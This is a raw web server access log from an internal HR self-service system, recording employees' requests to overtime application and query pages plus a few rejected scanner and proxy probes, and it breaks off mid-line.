"POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6480760802940491 HTTP/1.1" 200 10987 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6480760802940491" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6480760802940491 HTTP/1.1" 200 10987 192.168.11.144 - - [29/Nov/2025:11:21:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.144 - - [29/Nov/2025:11:21:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [29/Nov/2025:11:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [29/Nov/2025:11:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [29/Nov/2025:11:21:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11694 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11694 192.168.11.144 - - [29/Nov/2025:11:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:21:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.129 - - [29/Nov/2025:11:21:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.129 - - [29/Nov/2025:11:21:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:22:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:22:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:22:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:22:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:22:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:22:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:22:50 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9476949058174371 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:22:50 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9476949058174371 HTTP/1.1" 200 8816 192.168.11.144 - - [29/Nov/2025:11:23:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9476949058174371 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9476949058174371" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:23:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9476949058174371 HTTP/1.1" 200 10989 192.168.11.144 - - [29/Nov/2025:11:23:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:23:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 192.168.11.144 - - [29/Nov/2025:11:23:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:23:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:23:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:23:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:23:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3614922221727723 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:23:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3614922221727723 HTTP/1.1" 200 8816 192.168.11.144 - - [29/Nov/2025:11:23:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3614922221727723 HTTP/1.1" 200 10992 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3614922221727723" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:23:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3614922221727723 HTTP/1.1" 200 10992 192.168.11.144 - - [29/Nov/2025:11:23:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:23:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 192.168.11.144 - - [29/Nov/2025:11:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:24:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6248661722458614 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6248661722458614 HTTP/1.1" 200 8816 192.168.11.144 - - [29/Nov/2025:11:24:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6248661722458614 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6248661722458614" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6248661722458614 HTTP/1.1" 200 10989 192.168.11.144 - - [29/Nov/2025:11:24:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.144 - - [29/Nov/2025:11:24:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:24:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:24:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [29/Nov/2025:11:24:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38014341612106206 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38014341612106206 HTTP/1.1" 200 8816 192.168.11.144 - - [29/Nov/2025:11:24:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38014341612106206 HTTP/1.1" 200 10983 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38014341612106206" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:24:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.38014341612106206 HTTP/1.1" 200 10983 192.168.11.144 - - [29/Nov/2025:11:25:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:25:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.144 - - [29/Nov/2025:11:25:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:25:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [29/Nov/2025:11:25:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:25:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [29/Nov/2025:11:25:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:25:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [29/Nov/2025:11:25:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13762 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [29/Nov/2025:11:25:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13762 100.64.0.1 - - [29/Nov/2025:11:36:38 +0800] "GET /stacks HTTP/1.1" 404 204 "-" "Mozilla/5.0 zgrab/0.x" 100.64.0.1 - - [29/Nov/2025:11:36:38 +0800] "GET /stacks HTTP/1.1" 404 204 100.64.0.1 - - [29/Nov/2025:11:46:53 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:11:46:53 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [29/Nov/2025:11:47:02 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:11:47:02 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [29/Nov/2025:11:57:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [29/Nov/2025:11:57:23 +0800] "GET / HTTP/1.1" 200 439 192.168.11.81 - - [29/Nov/2025:11:59:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 